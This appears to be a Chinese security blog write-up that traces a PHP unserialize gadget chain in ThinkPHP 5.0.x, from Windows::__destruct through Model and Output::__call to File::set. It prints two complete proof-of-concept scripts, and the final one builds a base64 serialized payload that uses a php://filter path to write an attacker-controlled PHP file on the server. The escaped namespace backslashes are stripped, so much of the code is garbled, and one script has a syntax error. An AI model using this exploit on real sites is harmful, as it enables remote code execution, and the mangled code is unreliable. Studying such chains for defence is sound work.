前言
最近在学习java,很久没有看php了,朋友给了一个此框架源码其中有可控的序列化点,看到网上有5.0.24的链子文章,复习一下php
魔术方法
1.__construct() 类一执行就开始调用,其作用是拿来初始化一些值。 2.__desctruct() 类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。 3.__get() 方法用于获取私有属性值。(在设置私有属性的时候将会自动调用)【http://www.cnblogs.com/xishaonian/p/6170459.html】 4.__set() 在对象访问私有成员的时候自动被调用,达到了给你看,但是不能给你修改的效果!(在对象访问一个私有的成员的时候就会自动的调用该魔术方法)【http://www.cnblogs.com/xishaonian/p/6170459.html】 5.__isset() 方法用于检测私有属性值是否被设定。(当外部使用isset读类内部进行检测对象是否有具有某个私有成员的时候就会被自动调用!)【http://www.cnblogs.com/xishaonian/p/6170459.html】 6.__unset() 方法用于删除私有属性。(在外部调用类内部的私有成员的时候就会自动的调用__unset魔术方法)【http://www.cnblogs.com/xishaonian/p/6170459.html】 7.__toString() 在对象当做字符串的时候会被调用。
8__call
在对象中调用一个不可访问方法时,__call() 会被调用。
tp5.0.x
tp5.0.x触发RCE最后都需要调用__call方法
这里我们选择 hinkphplibrary hinkconsoleOutput.php的_call方法

接下来我们需要找到能调用__call方法的链子
首先我们全局搜索__destruct方法找到 hinkphplibrary hinkprocesspipesWindows.php的

跟进removeFiles方法发现可以触发__tostring 方法

由于这里file_exists可以触发__toString方法 我们找到 hinkphplibrary hinkModel.php

然后进入toJson

在toAarry方法里面找到四个地方可以触发__call

但是由于前面两个方法在初始启动类里面没有dd方法所以报错了

继续更进

现在就是要在当前类里面找到一个存在的无参方法,且该方法的返回值可控

到这里我们就能控制modelRelation了,但是method_exists($modelRelation, 'getBindAttr')由于先验证方法存在在调用,所以第三个调用_call的点也没了,只能看value的值是否可控来触发第四个_call

更进getRelationData方法方法发现 必须传入为Relation 的对象且必须存在isSelfRelation 和getModel方法且返回value必须和getModel方法的返回值一样或继承于Relation

我们找到 hinkphplibrary hinkmodel elationHasOne.php可知其继承于OntoOne又继承于Relation

由于parent变量在Model中可控只需HasOne方法里面的getModel()满足==parent即可即为new Output();但是在调试过程中我发现其实可以不用返回值就可以触发__call方法

这是详细调用过程

到这里才发现小丑是自己无参传入block会导致报错

所以还是得回到Model继续调用第四条链子,参数为可控的attr

由于hasOne继承OneToOne所以调用此方法

得出调用__call的步骤
<?php
namespace thinkprocesspipes;
class Pipes
{
}
namespace thinkmodel;
use thinkModel;
class Merge extends Model
{}
namespace thinkprocesspipes;
use thinkmodelMerge;
class Windows extends Pipes
{ private $files=[];
function __construct(){
$this->files = [new Merge()];
}
}
namespace think;
use thinkmodel
elationHasOne;
use thinkconsoleOutput;
abstract class Model{
protected $append=[];
protected $error;
protected $parent;
protected $selfRelation;
function __construct(){
$this->append=["Nolan"=>"getError"];
$this->error=new HasOne();
$this->parent=new Output();
$this->selfRelation = false;
}
}
namespace thinkconsole;
use thinksessiondriverMemcached;
class Output
{
protected $styles = [];
function __construct()
$this->styles = ['getAttr'];
}
}
namespace thinkmodel
elation;
use thinkdbQuery;
use thinkmodelRelation;
abstract class OneToOne extends Relation
{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $query;
protected $bindAttr=[];
function __construct(){
parent::__construct();
$this->query=new Query();
$this->bindAttr=["Sprint"=>"Hello"];
}
}
namespace thinkmodel;
abstract class Relation
{
function __construct(){
}
}
namespace thinkdb;
use thinkconsoleOutput;
class Query{
protected $model;
function __construct(){
$this->model=new Output();
}
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
然后紧接着__call方法调用了当前的block方法,跟进writeln 这里this->handle是可控的 搜索可利用的write方法找到thinkphplibrary hinksessiondriverMemcache.php

这里由于handler是可控的所以我们又可以全局搜索set方法,查可利用的点找到thinkphplibrary hinkcachedriverFile.php里面的set方法

这里我们看文件名继续跟进GetCacheKey方法发现我们的文件名是可控的且后缀是.php

由此得到exp
<?php
namespace thinkprocesspipes;
class Pipes
{
}
namespace thinkmodel;
use thinkModel;
class Merge extends Model
{}
namespace thinkprocesspipes;
use thinkmodelMerge;
class Windows extends Pipes
{ private $files=[];
function __construct(){
$this->files = [new Merge()];
}
}
namespace think;
use thinkmodel
elationHasOne;
use thinkconsoleOutput;
abstract class Model{
protected $append=[];
protected $error;
protected $parent;
protected $selfRelation;
function __construct(){
$this->append=["Nolan"=>"getError"];
$this->error=new HasOne();
$this->parent=new Output();
$this->selfRelation = false;
}
}
namespace thinkconsole;
use thinksessiondriverMemcached;
class Output
{
protected $styles = [];
private $handle=null;
function __construct(){
$this->handle=new Memcached();
$this->styles = ['getAttr'];
}
}
namespace thinkmodel
elation;
use thinkdbQuery;
use thinkmodelRelation;
abstract class OneToOne extends Relation
{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $query;
protected $bindAttr=[];
function __construct(){
parent::__construct();
$this->query=new Query();
$this->bindAttr=["Sprint"=>"Hello"];
}
}
namespace thinkmodel;
abstract class Relation
{
function __construct(){
}
}
namespace thinkdb;
use thinkconsoleOutput;
class Query{
protected $model;
function __construct(){
$this->model=new Output();
}
}
namespace thinksessiondriver;#Memcached
use thinkcachedriverFile;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace thinkcachedriver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=cuc',
'data_compress' => false,
];
$this->tag = true;
}
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
这是本次的大概思路

这是整条链的调用过程
总结
对于渗透来说,要走的路还很长 得静心下来 潜心学习 不忘初心
参考
https://www.leavesongs.com/PENETRATION/php-filter-magic.html https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/ https://xz.aliyun.com/t/7310